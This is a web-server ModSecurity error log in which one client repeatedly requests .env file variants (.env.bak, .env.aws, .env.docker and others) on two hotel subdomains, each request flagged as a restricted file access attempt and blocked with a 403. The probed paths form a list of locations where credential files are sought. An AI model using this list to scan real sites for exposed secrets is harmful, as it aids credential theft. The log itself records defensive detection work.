[Mon Oct 26 08:36:22.723624 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "at9JRntuNRyqJbUWH7Jv5QAAAAQ"]
[Mon Oct 26 08:36:22.723757 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "at9JRntuNRyqJbUWH7Jv5QAAAAQ"]
[Mon Oct 26 08:36:22.724104 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "at9JRntuNRyqJbUWH7Jv5QAAAAQ"]
[Mon Oct 26 08:36:22.728756 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at9JRgsj78QLlrBrm-444AAAAAc"]
[Mon Oct 26 08:36:22.728905 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at9JRgsj78QLlrBrm-444AAAAAc"]
[Mon Oct 26 08:36:22.729119 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at9JRgsj78QLlrBrm-444AAAAAc"]
[Mon Oct 26 08:36:22.747188 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "at9JRnhYESb98d-GXViKlAAAAAs"]
[Mon Oct 26 08:36:22.747398 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "at9JRnhYESb98d-GXViKlAAAAAs"]
[Mon Oct 26 08:36:22.747697 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "at9JRnhYESb98d-GXViKlAAAAAs"]
[Mon Oct 26 08:36:22.766063 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at9JRhA_yAFS6UHz-l1VPAAAAA0"]
[Mon Oct 26 08:36:22.766235 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at9JRhA_yAFS6UHz-l1VPAAAAA0"]
[Mon Oct 26 08:36:22.766470 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at9JRhA_yAFS6UHz-l1VPAAAAA0"]
[Mon Oct 26 08:36:22.783489 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.aws"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "at9JRp_dbg3ptBnwDgQ5FgAAAAM"]
[Mon Oct 26 08:36:22.783693 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "at9JRp_dbg3ptBnwDgQ5FgAAAAM"]
[Mon Oct 26 08:36:22.784241 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "at9JRp_dbg3ptBnwDgQ5FgAAAAM"]
[Mon Oct 26 08:36:22.788575 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at9JRg9c_Zz9LocrxF9eogAAAAU"]
[Mon Oct 26 08:36:22.788760 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at9JRg9c_Zz9LocrxF9eogAAAAU"]
[Mon Oct 26 08:36:22.789043 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at9JRg9c_Zz9LocrxF9eogAAAAU"]
[Mon Oct 26 08:36:22.790809 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at9JRnT09R7Np-FQ85djzwAAAAo"]
[Mon Oct 26 08:36:22.791033 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at9JRnT09R7Np-FQ85djzwAAAAo"]
[Mon Oct 26 08:36:22.791279 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at9JRnT09R7Np-FQ85djzwAAAAo"]
[Mon Oct 26 08:36:22.805161 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at9JRntuNRyqJbUWH7Jv5gAAAAQ"]
[Mon Oct 26 08:36:22.805329 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at9JRntuNRyqJbUWH7Jv5gAAAAQ"]
[Mon Oct 26 08:36:22.805611 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at9JRntuNRyqJbUWH7Jv5gAAAAQ"]
[Mon Oct 26 08:36:22.806072 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at9JRk3DiqOFJPXX6P43ngAAABM"]
[Mon Oct 26 08:36:22.806200 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at9JRk3DiqOFJPXX6P43ngAAABM"]
[Mon Oct 26 08:36:22.806412 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at9JRk3DiqOFJPXX6P43ngAAABM"]
[Mon Oct 26 08:36:22.812568 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at9JRgsj78QLlrBrm-444QAAAAc"]
[Mon Oct 26 08:36:22.812730 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at9JRgsj78QLlrBrm-444QAAAAc"]
[Mon Oct 26 08:36:22.812975 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at9JRgsj78QLlrBrm-444QAAAAc"]
[Mon Oct 26 08:36:22.830448 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at9JRnhYESb98d-GXViKlQAAAAs"]
[Mon Oct 26 08:36:22.830620 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at9JRnhYESb98d-GXViKlQAAAAs"]
[Mon Oct 26 08:36:22.830895 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at9JRnhYESb98d-GXViKlQAAAAs"]
[Mon Oct 26 08:36:22.844157 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at9JRhA_yAFS6UHz-l1VPQAAAA0"]
[Mon Oct 26 08:36:22.844344 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at9JRhA_yAFS6UHz-l1VPQAAAA0"]
[Mon Oct 26 08:36:22.844609 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at9JRhA_yAFS6UHz-l1VPQAAAA0"]
[Mon Oct 26 08:36:22.878808 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.docker.dev"] [unique_id "at9JRg9c_Zz9LocrxF9eowAAAAU"]
[Mon Oct 26 08:36:22.878808 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at9JRp_dbg3ptBnwDgQ5FwAAAAM"]
[Mon Oct 26 08:36:22.879035 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at9JRp_dbg3ptBnwDgQ5FwAAAAM"]
